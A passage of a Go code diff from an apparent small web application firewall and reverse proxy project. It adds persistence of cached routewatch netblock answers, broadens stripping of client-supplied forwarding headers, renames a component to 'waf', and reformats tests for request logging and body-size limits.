+			time.Date(2026, 10, 3, 12, 0, 0, 0, time.UTC),
+		),
 		ClientIP:        "203.0.113.9",
 		Status:          200,
 		Action:          requestlog.ActionForward,
@@ -67,6 +69,50 @@ func TestWriteWritesOneJSONLineMarkedRequest(t *testing.T) {
 	}
 }
 
+func TestRequestLinesHoldTheQueryAndRefererAsSent(t *testing.T) {
+	t.Parallel()
+
+	var out bytes.Buffer
+
+	err := requestlog.Write(&out, &requestlog.Line{
+		Query:   "a=1&b=<2>",
+		Referer: "https://example.com/?x=1&y=<2>",
+	})
+	if err != nil {
+		t.Fatalf("write: %v", err)
+	}
+
+	err = requestlog.WriteRProxyLine(
+		&out,
+		&requestlog.RProxyLine{Query: "a=1&b=<2>"},
+	)
+	if err != nil {
+		t.Fatalf("write the rproxy line: %v", err)
+	}
+
+	lines := strings.Split(strings.TrimSuffix(out.String(), "\n"), "\n")
+	if len(lines) != 2 {
+		t.Fatalf("wrote %q, want two lines", out.String())
+	}
+
+	for _, line := range lines {
+		if !json.Valid([]byte(line)) {
+			t.Errorf("%s is not valid JSON", line)
+		}
+
+		if !strings.Contains(line, `"query":"a=1&b=<2>"`) {
+			t.Errorf("%s does not hold the query as sent", line)
+		}
+	}
+
+	if !strings.Contains(
+		lines[0],
+		`"referer":"https://example.com/?x=1&y=<2>"`,
+	) {
+		t.Errorf("%s does not hold the referer as sent", lines[0])
+	}
+}
+
 func TestWriteRProxyLineWritesOneJSONLineWithOnlyItsFields(t *testing.T) {
 	t.Parallel()
 
@@ -94,8 +140,9 @@ func TestProcessLinesAreMarkedProcessAndGiveTheInstance(t *testing.T) {
 
 	var out bytes.Buffer
 
-	requestlog.NewProcessLogger(&out, "fsn1app1/blog", slog.LevelInfo).Info("starting",
-		"version", "v1")
+	requestlog.NewProcessLogger(&out, "fsn1app1/blog", slog.LevelInfo).
+		Info("starting",
+			"version", "v1")
 
 	var fields map[string]any
 
@@ -104,8 +151,10 @@ func TestProcessLinesAreMarkedProcessAndGiveTheInstance(t *testing.T) {
 		t.Fatalf("decode %q: %v", out.String(), err)
 	}
 
-	if fields["type"] != "process" || fields["instance"] != "fsn1app1/blog" ||
-		fields["msg"] != "starting" || fields["level"] != "INFO" ||
+	if fields["type"] != "process" ||
+		fields["instance"] != "fsn1app1/blog" ||
+		fields["msg"] != "starting" ||
+		fields["level"] != "INFO" ||
 		fields["version"] != "v1" {
 		t.Errorf("process line %v", fields)
 	}
@@ -116,7 +165,10 @@ func TestProcessLinesAreMarkedProcessAndGiveTheInstance(t *testing.T) {
 	if err != nil || !strings.HasSuffix(timeText, "Z") ||
 		len(timeText) != len("2006-01-02T15:04:05.000Z") ||
 		time.Since(logged) > time.Minute {
-		t.Errorf("process line time %q, want now in UTC with milliseconds", timeText)
+		t.Errorf(
+			"process line time %q, want now in UTC with milliseconds",
+			timeText,
+		)
 	}
 }
 
@@ -133,7 +185,11 @@ func TestProcessLoggerWritesTheMessagesAtItsLevelOrMoreSevere(t *testing.T) {
 
 			var out bytes.Buffer
 
-			processLog := requestlog.NewProcessLogger(&out, "fsn1app1/blog", level)
+			processLog := requestlog.NewProcessLogger(
+				&out,
+				"fsn1app1/blog",
+				level,
+			)
 			for _, at := range levels {
 				processLog.Log(t.Context(), at, "message")
 			}

internal/routewatch/routewatch.go

@@ -1,6 +1,8 @@
 // Package routewatch asks a routewatch instance about client addresses, in the
-// background, and keeps its answers in memory. A routewatch instance knows, for
-// an address, the netblock it is announced in and the AS that originates it.
+// background, and keeps its answers. A routewatch instance knows, for an
+// address, the netblock it is announced in and the AS that originates it. The
+// answers are kept in memory, for at most 100,000 clients and for an hour each,
+// and are written to routewatch.json and read from it by the state package.
 package routewatch
 
 import (
@@ -13,6 +15,7 @@ import (
 	"net/http"
 	"net/netip"
 	"net/url"
+	"slices"
 	"sync"
 	"time"
 
@@ -65,6 +68,17 @@ type Route struct {
 	ASN      uint32
 }
 
+// Answer is what routewatch answered about a client, as routewatch.json holds
+// it: the netblock the client's address is announced in, none for an address
+// without a live route, the AS that originates it, and when routewatch
+// answered.
+type Answer struct {
+	Client   netip.Prefix `json:"client"`
+	Netblock netip.Prefix `json:"netblock"`
+	ASN      uint32       `json:"asn"`
+	Answered time.Time    `json:"answered"`
+}
+
 // Params are what New needs.
 type Params struct {
 	// URL is where routewatch is (SWW_ROUTEWATCH_URL).
@@ -84,23 +98,16 @@ type Client struct {
 	mu sync.Mutex
 	// answers are by client. Each is added as it comes and never moved up,
 	// so that the one that came longest ago is the first dropped.
-	answers *simplelru.LRU[netip.Prefix, answer]
+	answers *simplelru.LRU[netip.Prefix, Answer]
 	// asking are the clients whose query is under way.
 	asking map[netip.Prefix]bool
 	// retryAt is when routewatch may be asked again after a query failed.
 	retryAt time.Time
 }
 
-// answer is one kept answer: the route, or why there is none, and when it came.
-type answer struct {
-	route   Route
-	missing Missing
-	came    time.Time
-}
-
 // New returns a Client with no answer yet.
 func New(params Params) *Client {
-	answers, err := simplelru.NewLRU[netip.Prefix, answer](maxAnswers, nil)
+	answers, err := simplelru.NewLRU[netip.Prefix, Answer](maxAnswers, nil)
 	if err != nil {
 		panic(err) // NewLRU fails only for a size below one
 	}
@@ -128,8 +135,12 @@ func (c *Client) Route(
 	now := c.params.Now()
 
 	kept, found := c.answers.Peek(client)
-	if found && now.Sub(kept.came) < answerKept {
-		return kept.route, kept.missing
+	if found && now.Sub(kept.Answered) < answerKept {
+		if !kept.Netblock.IsValid() {
+			return Route{}, NoRoute
+		}
+
+		return Route{Netblock: kept.Netblock, ASN: kept.ASN}, ""
 	}
 
 	if now.Before(c.retryAt) {
@@ -145,12 +156,62 @@ func (c *Client) Route(
 	return Route{}, NoAnswerYet
 }
 
+// Snapshot returns every answer still in use, sorted by client, as
+// routewatch.json lists them.
+func (c *Client) Snapshot() []Answer {
+	c.mu.Lock()
+
+	now := c.params.Now()
+	answers := make([]Answer, 0, c.answers.Len())
+
+	for _, kept := range c.answers.Values() {
+		if now.Sub(kept.Answered) < answerKept {
+			answers = append(answers, kept)
+		}
+	}
+
+	c.mu.Unlock()
+
+	slices.SortFunc(answers, func(a, b Answer) int {
+		return a.Client.Compare(b.Client)
+	})
+
+	return answers
+}
+
+// Load keeps answers, read from routewatch.json, in place of those it keeps,
+// but for those that came answerKept ago or more and, past maxAnswers, those
+// that came longest ago.
+func (c *Client) Load(answers []Answer) {
+	answers = slices.Clone(answers)
+	slices.SortStableFunc(answers, func(a, b Answer) int {
+		return a.Answered.Compare(b.Answered)
+	})
+
+	c.mu.Lock()
+	defer c.mu.Unlock()
+
+	c.answers.Purge()
+
+	now := c.params.Now()
+
+	for _, kept := range answers {
+		if now.Sub(kept.Answered) < answerKept {
+			c.answers.Add(kept.Client, kept)
+		}
+	}
+}
+
 // ask asks routewatch about addr, keeps the answer as client's, and notes the
 // query as no longer under way. A query that fails gives no answer, and
 // routewatch is not asked again for failureKept. Only the first failure of
 // those under way is logged.
-func (c *Client) ask(ctx context.Context, client netip.Prefix, addr netip.Addr) {
-	route, missing, err := c.query(ctx, addr)
+func (c *Client) ask(
+	ctx context.Context,
+	client netip.Prefix,
+	addr netip.Addr,
+) {
+	route, err := c.query(ctx, addr)
 	now := c.params.Now()
 
 	c.mu.Lock()
@@ -160,7 +221,9 @@ func (c *Client) ask(ctx context.Context, client netip.Prefix, addr netip.Addr)
 	firstFailure := err != nil && !now.Before(c.retryAt)
 
 	if err == nil {
-		c.answers.Add(client, answer{route: route, missing: missing, came: now})
+		c.answers.Add(client, Answer{
+			Client: client, Netblock: route.Netblock, ASN: route.ASN, Answered: now,
+		})
 	} else {
 		c.retryAt = now.Add(failureKept)
 	}
@@ -168,25 +231,34 @@ func (c *Client) ask(ctx context.Context, client netip.Prefix, addr netip.Addr)
 	c.mu.Unlock()
 
 	if firstFailure {
-		c.params.ProcessLog.Warn("asking routewatch failed", "error", err.Error())
+		c.params.ProcessLog.Warn(
+			"asking routewatch failed",
+			"error",
+			err.Error(),
+		)
 	}
 }
 
 // query asks routewatch's IP info API about addr. An answer other than 200, one
 // that cannot be read, and none within queryTimeout, fail. A result with no
-// netblock is an address without a live route.
-func (c *Client) query(ctx context.Context, addr netip.Addr) (Route, Missing, error) {
+// netblock is an address without a live route, and gives a Route without one.
+func (c *Client) query(ctx context.Context, addr netip.Addr) (Route, error) {
 	ctx, cancel := context.WithTimeout(ctx, queryTimeout)
 	defer cancel()
 
 	endpoint, err := url.JoinPath(c.params.URL, "api/v1/ip", addr.String())
 	if err != nil {
-		return Route{}, "", fmt.Errorf("make the URL: %w", err)
+		return Route{}, fmt.Errorf("make the URL: %w", err)
 	}
 
-	req, err := http.NewRequestWithContext(ctx, http.MethodGet, endpoint, http.NoBody)
+	req, err := http.NewRequestWithContext(
+		ctx,
+		http.MethodGet,
+		endpoint,
+		http.NoBody,
+	)
 	if err != nil {
-		return Route{}, "", fmt.Errorf("make the request: %w", err)
+		return Route{}, fmt.Errorf("make the request: %w", err)
 	}
 
 	req.Header.Set("Accept", "application/json")
@@ -195,7 +267,7 @@ func (c *Client) query(ctx context.Context, addr netip.Addr) (Route, Missing, er
 	if err != nil {
 		// Do's error names the URL, which holds the client's address, which
 		// is not to be logged: only what went wrong is kept.
-		return Route{}, "", fmt.Errorf("ask routewatch: %w", errors.Unwrap(err))
+		return Route{}, fmt.Errorf("ask routewatch: %w", errors.Unwrap(err))
 	}
 
 	defer func() {
@@ -203,14 +275,14 @@ func (c *Client) query(ctx context.Context, addr netip.Addr) (Route, Missing, er
 	}()
 
 	if res.StatusCode != http.StatusOK {
-		return Route{}, "", fmt.Errorf("%w %s", errStatus, res.Status)
+		return Route{}, fmt.Errorf("%w %s", errStatus, res.Status)
 	}
 
 	return readAnswer(io.LimitReader(res.Body, maxAnswerBytes))
 }
 
 // readAnswer reads routewatch's answer about one address.
-func readAnswer(body io.Reader) (Route, Missing, error) {
+func readAnswer(body io.Reader) (Route, error) {
 	var decoded struct {
 		Data struct {
 			Results []struct {
@@ -222,22 +294,22 @@ func readAnswer(body io.Reader) (Route, Missing, error) {
 
 	err := json.NewDecoder(body).Decode(&decoded)
 	if err != nil {
-		return Route{}, "", fmt.Errorf("read the answer: %w", err)
+		return Route{}, fmt.Errorf("read the answer: %w", err)
 	}
 
 	if len(decoded.Data.Results) == 0 {
-		return Route{}, "", errNoResult
+		return Route{}, errNoResult
 	}
 
 	result := decoded.Data.Results[0]
 	if result.Netblock == "" {
-		return Route{}, NoRoute, nil
+		return Route{}, nil
 	}
 
 	netblock, err := netip.ParsePrefix(result.Netblock)
 	if err != nil {
-		return Route{}, "", fmt.Errorf("%w: %q", errNotNetblock, result.Netblock)
+		return Route{}, fmt.Errorf("%w: %q", errNotNetblock, result.Netblock)
 	}
 
-	return Route{Netblock: netblock.Masked(), ASN: result.ASN}, "", nil
+	return Route{Netblock: netblock.Masked(), ASN: result.ASN}, nil
 }

internal/routewatch/routewatch_test.go

@@ -7,10 +7,12 @@ import (
 	"net/http"
 	"net/http/httptest"
 	"net/netip"
+	"slices"
 	"strings"
 	"sync"
 	"sync/atomic"
 	"testing"
+	"testing/synctest"
 	"time"
 
 	"sneak.berlin/go/smallwebwaf/internal/routewatch"
@@ -113,6 +115,30 @@ func answering(body string) http.HandlerFunc {
 	}
 }
 
+// silentURL is where a routewatch that never answers is: a query to it waits,
+// without the network, until it is abandoned. TestMain registers it with Go's
+// default transport, through which the Client asks.
+const silentURL = "silent://routewatch/"
+
+func TestMain(m *testing.M) {
+	transport, _ := http.DefaultTransport.(*http.Transport)
+	transport.RegisterProtocol("silent", silentRoutewatch{})
+
+	m.Run()
+}
+
+// silentRoutewatch is the routewatch at silentURL.
+type silentRoutewatch struct{}
+
+// RoundTrip waits until req is abandoned.
+func (silentRoutewatch) RoundTrip(
+	req *http.Request,
+) (*http.Response, error) {
+	<-req.Context().Done()
+
+	return nil, req.Context().Err()
+}
+
 func (f *fixture) route() (routewatch.Route, routewatch.Missing) {
 	addr := netip.MustParseAddr(clientAddr)
 	client := netip.PrefixFrom(addr, addr.BitLen())
@@ -167,12 +193,19 @@ func TestRouteGivesRoutewatchsAnswerAndAsksByAddress(t *testing.T) {
 	f := newFixture(t, answering(routedAnswer))
 
 	if _, missing := f.route(); missing != routewatch.NoAnswerYet {
-		t.Errorf("before the answer: %q, want %q", missing, routewatch.NoAnswerYet)
+		t.Errorf(
+			"before the answer: %q, want %q",
+			missing,
+			routewatch.NoAnswerYet,
+		)
 	}
 
 	route := f.waitFor("")
 
-	want := routewatch.Route{Netblock: netip.MustParsePrefix("192.0.2.0/24"), ASN: 64496}
+	want := routewatch.Route{
+		Netblock: netip.MustParsePrefix("192.0.2.0/24"),
+		ASN:      64496,
+	}
 	if route != want {
 		t.Errorf("route %+v, want %+v", route, want)
 	}
@@ -195,7 +228,10 @@ func TestAnswerAfterASlowReverseDNSLookupIsKept(t *testing.T) {
 
 	route := f.waitFor("")
 
-	want := routewatch.Route{Netblock: netip.MustParsePrefix("192.0.2.0/24"), ASN: 64496}
+	want := routewatch.Route{
+		Netblock: netip.MustParsePrefix("192.0.2.0/24"),
+		ASN:      64496,
+	}
 	if route != want {
 		t.Errorf("route %+v, want %+v", route, want)
 	}
@@ -224,7 +260,8 @@ func TestAnswerRoutewatchCannotBeTakenFromFails(t *testing.T) {
 		"not JSON":   answering("no"),
 		"no results": answering(`{"status":"ok","data":{"results":[]}}`),
 		"bad netblock": answering(
-			`{"status":"ok","data":{"results":[{"netblock":"nowhere","asn":1}]}}`),
+			`{"status":"ok","data":{"results":[{"netblock":"nowhere","asn":1}]}}`,
+		),
 	}
 	for name, standIn := range tests {
 		t.Run(name, func(t *testing.T) {
@@ -239,7 +276,9 @@ func TestAnswerRoutewatchCannotBeTakenFromFails(t *testing.T) {
 	}
 }
 
-func TestUnreachableRoutewatchFailsTheQueryAndTheLogOmitsTheClient(t *testing.T) {
+func TestUnreachableRoutewatchFailsTheQueryAndTheLogOmitsTheClient(
+	t *testing.T,
+) {
 	t.Parallel()
 
 	f := newFixture(t, answering(routedAnswer))
@@ -256,7 +295,9 @@ func TestUnreachableRoutewatchFailsTheQueryAndTheLogOmitsTheClient(t *testing.T)
 	f.wantFailureLoggedWithoutTheClient()
 }
 
-func TestFailureIsKeptForAMinuteSoRoutewatchIsNotAskedPerRequest(t *testing.T) {
+func TestFailureIsKeptForAMinuteSoRoutewatchIsNotAskedPerRequest(
+	t *testing.T,
+) {
 	t.Parallel()
 
 	f := newFixture(t, func(w http.ResponseWriter, _ *http.Request) {
@@ -277,7 +318,10 @@ func TestFailureIsKeptForAMinuteSoRoutewatchIsNotAskedPerRequest(t *testing.T) {
 	deadline := time.Now().Add(waitLimit)
 	for f.queries.Load() != 2 {
 		if time.Now().After(deadline) {
-			t.Fatalf("%d queries after the failure expired, want 2", f.queries.Load())
+			t.Fatalf(
+				"%d queries after the failure expired, want 2",
+				f.queries.Load(),
+			)
 		}
 
 		time.Sleep(time.Millisecond)
@@ -287,20 +331,34 @@ func TestFailureIsKeptForAMinuteSoRoutewatchIsNotAskedPerRequest(t *testing.T) {
 func TestHangingRoutewatchNeverDelaysAndFailsTheQuery(t *testing.T) {
 	t.Parallel()
 
-	f := newFixture(t, func(_ http.ResponseWriter, r *http.Request) {
-		<-r.Context().Done()
+	// In a synctest bubble, time passes only while every goroutine in it waits,
+	// so Route's wait is measured exactly, however busy the host is. routewatch
+	// is the one at silentURL: one reached over the network would keep the
+	// bubble's clock from moving.
+	synctest.Test(t, func(t *testing.T) {
+		// Without newFixture's stand-in, which is reached over the network.
+		f := &fixture{t: t, log: &syncBuffer{}}
+		f.client = routewatch.New(routewatch.Params{
+			URL: silentURL, Now: time.Now,
+			ProcessLog: slog.New(slog.NewTextHandler(f.log, nil)),
+		})
+
+		began := time.Now()
+		_, missing := f.route()
+
+		if waited := time.Since(began); missing != routewatch.NoAnswerYet ||
+			waited != 0 {
+			t.Errorf(
+				"Route gave %q after %s while routewatch hangs, want %q at once",
+				missing,
+				waited,
+				routewatch.NoAnswerYet,
+			)
+		}
+
+		f.waitFor(routewatch.RequestFailed)
+		f.wantFailureLoggedWithoutTheClient()
 	})
-
-	start := time.Now()
-
-	f.route()
-
-	if elapsed := time.Since(start); elapsed > time.Second {
-		t.Errorf("Route took %s while routewatch hangs", elapsed)
-	}
-
-	f.waitFor(routewatch.RequestFailed)
-	f.wantFailureLoggedWithoutTheClient()
 }
 
 func TestRepeatedRequestsMakeOneQueryAndTheAnswerExpires(t *testing.T) {
@@ -336,3 +394,110 @@ func TestRepeatedRequestsMakeOneQueryAndTheAnswerExpires(t *testing.T) {
 		t.Errorf("%d queries after the answer expired, want 2", got)
 	}
 }
+
+func TestSnapshotHoldsTheAnswerUntilItExpires(t *testing.T) {
+	t.Parallel()
+
+	f := newFixture(t, answering(routedAnswer))
+
+	f.route()
+	f.waitFor("")
+
+	want := []routewatch.Answer{{
+		Client:   netip.MustParsePrefix(clientAddr + "/32"),
+		Netblock: netip.MustParsePrefix("192.0.2.0/24"), ASN: 64496,
+		Answered: f.clk.Now(),
+	}}
+	if got := f.client.Snapshot(); !slices.Equal(got, want) {
+		t.Errorf("snapshot %+v, want %+v", got, want)
+	}
+
+	f.clk.advance(time.Hour)
+
+	if got := f.client.Snapshot(); len(got) != 0 {
+		t.Errorf("snapshot %+v an hour after the answer, want none", got)
+	}
+}
+
+func TestLoadedAnswersAreUsedForAnHourFromWhenTheyCame(t *testing.T) {
+	t.Parallel()
+
+	f := newFixture(t, answering(routedAnswer))
+	now := f.clk.Now()
+	kept := routewatch.Answer{
+		Client:   netip.MustParsePrefix(clientAddr + "/32"),
+		Netblock: netip.MustParsePrefix("198.51.100.0/24"), ASN: 64497,
+		Answered: now.Add(-time.Hour + time.Second),
+	}
+	stale := routewatch.Answer{
+		Client:   netip.MustParsePrefix("192.0.2.2/32"),
+		Netblock: netip.MustParsePrefix("192.0.2.0/24"), ASN: 64496,
+		Answered: now.Add(-time.Hour),
+	}
+
+	f.client.Load([]routewatch.Answer{kept, stale})
+
+	if got := f.client.Snapshot(); !slices.Equal(
+		got,
+		[]routewatch.Answer{kept},
+	) {
+		t.Errorf(
+			"kept %+v, want only the answer that came less than an hour ago",
+			got,
+		)
+	}
+
+	route, missing := f.route()
+
+	want := routewatch.Route{Netblock: kept.Netblock, ASN: kept.ASN}
+	if route != want || missing != "" {
+		t.Errorf("route %+v (%q), want %+v", route, missing, want)
+	}
+
+	if got := f.queries.Load(); got != 0 {
+		t.Errorf(
+			"%d queries for a client with an answer loaded, want none",
+			got,
+		)
+	}
+}
+
+func TestLoadDropsTheAnswerThatCameLongestAgoFirst(t *testing.T) {
+	t.Parallel()
+
+	const maxAnswers = 100000
+
+	f := newFixture(t, answering(routedAnswer))
+	now := f.clk.Now()
+
+	// routewatch.json lists the answers by client. Here each came a
+	// millisecond before the one listed before it, so the last listed is
+	// the one that came longest ago, and the one dropped.
+	answers := make([]routewatch.Answer, maxAnswers+1)
+	addr := netip.MustParseAddr("10.0.0.0")
+
+	for i := range answers {
+		answers[i] = routewatch.Answer{
+			Client:   netip.PrefixFrom(addr, addr.BitLen()),
+			Answered: now.Add(-time.Duration(i) * time.Millisecond),
+		}
+		addr = addr.Next()
+	}
+
+	f.client.Load(answers)
+
+	got := f.client.Snapshot()
+	if len(got) != maxAnswers {
+		t.Fatalf("%d answers kept, want %d", len(got), maxAnswers)
+	}
+
+	if got[0] != answers[0] || got[maxAnswers-1] != answers[maxAnswers-1] {
+		t.Errorf(
+			"answers kept from %s to %s, want from %s to %s",
+			got[0].Client,
+			got[maxAnswers-1].Client,
+			answers[0].Client,
+			answers[maxAnswers-1].Client,
+		)
+	}
+}

internal/rproxy/bodies.go

@@ -203,7 +203,8 @@ func (w *responseWriter) Write(p []byte) (int, error) {
 		w.status = http.StatusOK
 	}
 
-	n, err := w.ResponseWriter.Write(p) //nolint:gosec // the answer, as it was given
+	//nolint:gosec // the answer, as it was given
+	n, err := w.ResponseWriter.Write(p)
 	w.bytes += int64(n)
 
 	return n, err
@@ -218,7 +219,8 @@ func (w *responseWriter) FlushError() error {
 // Hijack takes over the connection to the visitor, which ReverseProxy does only
 // to pass on the app's 101 Switching Protocols: that is then the status sent.
 func (w *responseWriter) Hijack() (net.Conn, *bufio.ReadWriter, error) {
-	conn, buffered, err := http.NewResponseController(w.ResponseWriter).Hijack()
+	conn, buffered, err := http.NewResponseController(w.ResponseWriter).
+		Hijack()
 	if err == nil {
 		w.status = http.StatusSwitchingProtocols
 	}

internal/rproxy/client.go

@@ -18,7 +18,7 @@ const (
 )
 
 // peerAddress is the address of the request's TCP peer, normally traefik, without
-// any IPv6 zone, which discriminator refuses.
+// any IPv6 zone, which waf refuses.
 func peerAddress(r *http.Request) netip.Addr {
 	addrPort, err := netip.ParseAddrPort(r.RemoteAddr)
 	if err != nil {
@@ -34,7 +34,7 @@ func peerAddress(r *http.Request) netip.Addr {
 // address outside them is the visitor; if every address in it is inside, the
 // leftmost is, and with no header, the peer. An entry that is not an address
 // ends the reading, since nothing to its left can be believed. The visitor's
-// address never has an IPv6 zone, which discriminator refuses.
+// address never has an IPv6 zone, which waf refuses.
 func clientAddress(
 	peer netip.Addr, forwardedFor []string, trusted []netip.Prefix,
 ) netip.Addr {
@@ -83,7 +83,11 @@ func isInside(addr netip.Addr, netblocks []netip.Prefix) bool {
 // X-Forwarded-For. Those of any other peer are its own claims and are replaced:
 // X-Forwarded-For names the peer, X-Forwarded-Host the host it asked for, and
 // X-Forwarded-Proto plain http, which is how it reached rproxy.
-func setForwardedHeaders(in, out *http.Request, peer netip.Addr, trusted bool) {
+func setForwardedHeaders(
+	in, out *http.Request,
+	peer netip.Addr,
+	trusted bool,
+) {
 	forwardedFor := peer.String()
 
 	if trusted {
@@ -105,15 +109,14 @@ func setForwardedHeaders(in, out *http.Request, peer netip.Addr, trusted bool) {
 		return
 	}
 
-	// ReverseProxy has removed Forwarded and the three set below; these are the
-	// other headers in which traefik tells the app about the visitor and its
-	// request.
-	for _, name := range []string{
-		"X-Forwarded-Port", "X-Forwarded-Server", "X-Forwarded-Uri",
-		"X-Forwarded-Method", "X-Forwarded-Prefix", "X-Forwarded-Tls-Client-Cert",
-		"X-Forwarded-Tls-Client-Cert-Info", "X-Real-Ip",
-	} {
-		out.Header.Del(name)
+	// An app behind CGI or FastCGI reads X_Forwarded_Ssl as X-Forwarded-Ssl, so
+	// a name is matched with each _ read as - and in any letter case.
+	for name := range out.Header {
+		spelt := strings.ToLower(strings.ReplaceAll(name, "_", "-"))
+		if strings.HasPrefix(spelt, "x-forwarded-") ||
+			spelt == "forwarded" || spelt == "x-real-ip" {
+			delete(out.Header, name)
+		}
 	}
 
 	out.Header.Set("X-Forwarded-For", forwardedFor)

internal/rproxy/limits_test.go

@@ -17,9 +17,9 @@ import (
 	"time"
 
 	"sneak.berlin/go/smallwebwaf/internal/config"
-	"sneak.berlin/go/smallwebwaf/internal/discriminator"
 	"sneak.berlin/go/smallwebwaf/internal/requestlog"
 	"sneak.berlin/go/smallwebwaf/internal/rproxy"
+	"sneak.berlin/go/smallwebwaf/internal/waf"
 )
 
 // post is the start of a POST whose headers end with what follows it.
@@ -34,13 +34,15 @@ func announcedLength(size int) string {
 func TestServerHasTheFixedLimits(t *testing.T) {
 	t.Parallel()
 
-	cfg, err := config.RProxyFromEnvironment(func(name string) (string, bool) {
-		if name == "SWRP_WAF_BACKEND" {
-			return nowhere, true
-		}
+	cfg, err := config.RProxyFromEnvironment(
+		func(name string) (string, bool) {
+			if name == "SWRP_WAF_BACKEND" {
+				return nowhere, true
+			}
 
-		return "", false
-	})
+			return "", false
+		},
+	)
 	if err != nil {
 		t.Fatalf("settings: %v", err)
 	}
@@ -48,18 +50,27 @@ func TestServerHasTheFixedLimits(t *testing.T) {
 	server := rproxy.New(rproxy.Params{
 		Config:     cfg,
 		RequestLog: io.Discard,
-		ProcessLog: requestlog.NewProcessLogger(io.Discard, "test", slog.LevelInfo),
+		ProcessLog: requestlog.NewProcessLogger(
+			io.Discard,
+			"test",
+			slog.LevelInfo,
+		),
 	})
 
 	if server.Addr != ":8080" || server.MaxHeaderBytes != 28<<10 ||
 		server.IdleTimeout != 2*time.Minute || server.ReadHeaderTimeout != time.Minute {
-		t.Errorf("server listens on %q with header limit %d, idle time %s and "+
-			"header timeout %s", server.Addr, server.MaxHeaderBytes,
-			server.IdleTimeout, server.ReadHeaderTimeout)
+		t.Errorf(
+			"server listens on %q with header limit %d, idle time %s and "+
+				"header timeout %s",
+			server.Addr,
+			server.MaxHeaderBytes,
+			server.IdleTimeout,
+			server.ReadHeaderTimeout,
+		)
 	}
 }
 
-func TestABodyAnnouncedOverItsLimitIsRefusedOnceDiscriminatorAllowsIt(t *testing.T) {
+func TestABodyAnnouncedOverItsLimitIsRefusedOnceWAFAllowsIt(t *testing.T) {
 	t.Parallel()
 
 	for _, tc := range []struct {
@@ -72,13 +83,18 @@ func TestABodyAnnouncedOverItsLimitIsRefusedOnceDiscriminatorAllowsIt(t *testing
 		t.Run(tc.name, func(t *testing.T) {
 			t.Parallel()
 
-			standIn := startDiscriminator(t, allow)
+			standIn := startWAF(t, allow)
 			app := startApp(t, func(http.ResponseWriter, *http.Request) {
 				t.Error("the app was asked")
 			})
-			addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
-				maxRequestSize: tc.limit,
-			})
+			addr, _ := startRProxy(
+				t,
+				standIn.URL,
+				app.URL,
+				map[string]string{
+					maxRequestSize: tc.limit,
+				},
+			)
 
 			got := visit(t, newRequest(t, http.MethodPost, addr, "/",
 				bytes.NewReader(make([]byte, tc.size))))
@@ -87,7 +103,11 @@ func TestABodyAnnouncedOverItsLimitIsRefusedOnceDiscriminatorAllowsIt(t *testing
 			}
 
 			if asked := standIn.question(t); len(asked.body) != tc.asked {
-				t.Errorf("the question carries %d bytes, want %d", len(asked.body), tc.asked)
+				t.Errorf(
+					"the question carries %d bytes, want %d",
+					len(asked.body),
+					tc.asked,
+				)
 			}
 
 			report := standIn.report(t)
@@ -101,7 +121,7 @@ func TestABodyAnnouncedOverItsLimitIsRefusedOnceDiscriminatorAllowsIt(t *testing
 func TestADenyOutranksTheBodySizeLimit(t *testing.T) {
 	t.Parallel()
 
-	standIn := startDiscriminator(t, deny)
+	standIn := startWAF(t, deny)
 	app := startApp(t, greet)
 	addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
 		maxRequestSize: "1K",
@@ -110,7 +130,7 @@ func TestADenyOutranksTheBodySizeLimit(t *testing.T) {
 	got := visit(t, newRequest(t, http.MethodPost, addr, "/",
 		bytes.NewReader(make([]byte, 1025))))
 	if got.status != http.StatusForbidden {
-		t.Errorf("answered %+v, want discriminator's 403", got)
+		t.Errorf("answered %+v, want waf's 403", got)
 	}
 }
 
@@ -133,18 +153,26 @@ func TestABodyNotAnnouncedOverItsLimitIsRefused(t *testing.T) {
 
 			var asked atomic.Bool
 
-			standIn := startDiscriminator(t, allow)
+			standIn := startWAF(t, allow)
 			app := startApp(t, func(w http.ResponseWriter, r *http.Request) {
 				asked.Store(true)
 				greet(w, r)
 			})
-			addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
-				maxRequestSize: tc.limit,
-			})
+			addr, _ := startRProxy(
+				t,
+				standIn.URL,
+				app.URL,
+				map[string]string{
+					maxRequestSize: tc.limit,
+				},
+			)
 
 			conn := dial(t, addr)
 			send(t, conn, post+"Transfer-Encoding: chunked\r\n\r\n"+
-				strconv.FormatInt(int64(tc.size), 16)+"\r\n"+strings.Repeat("x", tc.size)+
+				strconv.FormatInt(
+					int64(tc.size),
+					16,
+				)+"\r\n"+strings.Repeat("x", tc.size)+
 				"\r\n0\r\n\r\n")
 
 			if status := readStatus(t, conn); status != http.StatusRequestEntityTooLarge {
@@ -166,7 +194,7 @@ func TestAResponseOverItsLimit(t *testing.T) {
 	t.Run("announced, is refused", func(t *testing.T) {
 		t.Parallel()
 
-		standIn := startDiscriminator(t, allow)
+		standIn := startWAF(t, allow)
 		app := startApp(t, func(w http.ResponseWriter, _ *http.Request) {
 			w.Header().Set(contentLengthHeader, strconv.Itoa(len(large)))
 			_, _ = io.WriteString(w, large)
@@ -188,7 +216,7 @@ func TestAResponseOverItsLimit(t *testing.T) {
 	t.Run("not announced, is cut off", func(t *testing.T) {
 		t.Parallel()
 
-		standIn := startDiscriminator(t, allow)
+		standIn := startWAF(t, allow)
 		app := startApp(t, func(w http.ResponseWriter, _ *http.Request) {
 			_, _ = io.WriteString(w, large[:1])
 			_ = http.NewResponseController(w).Flush()
@@ -203,22 +231,31 @@ func TestAResponseOverItsLimit(t *testing.T) {
 
 		text, err := io.ReadAll(conn)
 		if err != nil || bytes.Contains(text, []byte(large)) {
-			t.Errorf("read %d bytes (%v), want the answer cut off", len(text), err)
+			t.Errorf(
+				"read %d bytes (%v), want the answer cut off",
+				len(text),
+				err,
+			)
 		}
 
 		report := standIn.report(t)
 		if report.Status != http.StatusOK || report.ResponseBytes > 1<<10 {
-			t.Errorf("report %+v, want status 200 and at most 1K of the answer", report)
+			t.Errorf(
+				"report %+v, want status 200 and at most 1K of the answer",
+				report,
+			)
 		}
 	})
 }
 
-func TestAHeadWhoseAnswerAnnouncesMoreThanTheResponseLimitIsPassedOn(t *testing.T) {
+func TestAHeadWhoseAnswerAnnouncesMoreThanTheResponseLimitIsPassedOn(
+	t *testing.T,
+) {
 	t.Parallel()
 
 	const announced = "2048"
 
-	standIn := startDiscriminator(t, allow)
+	standIn := startWAF(t, allow)
 	app := startApp(t, func(w http.ResponseWriter, _ *http.Request) {
 		w.Header().Set(contentLengthHeader, announced)
 	})
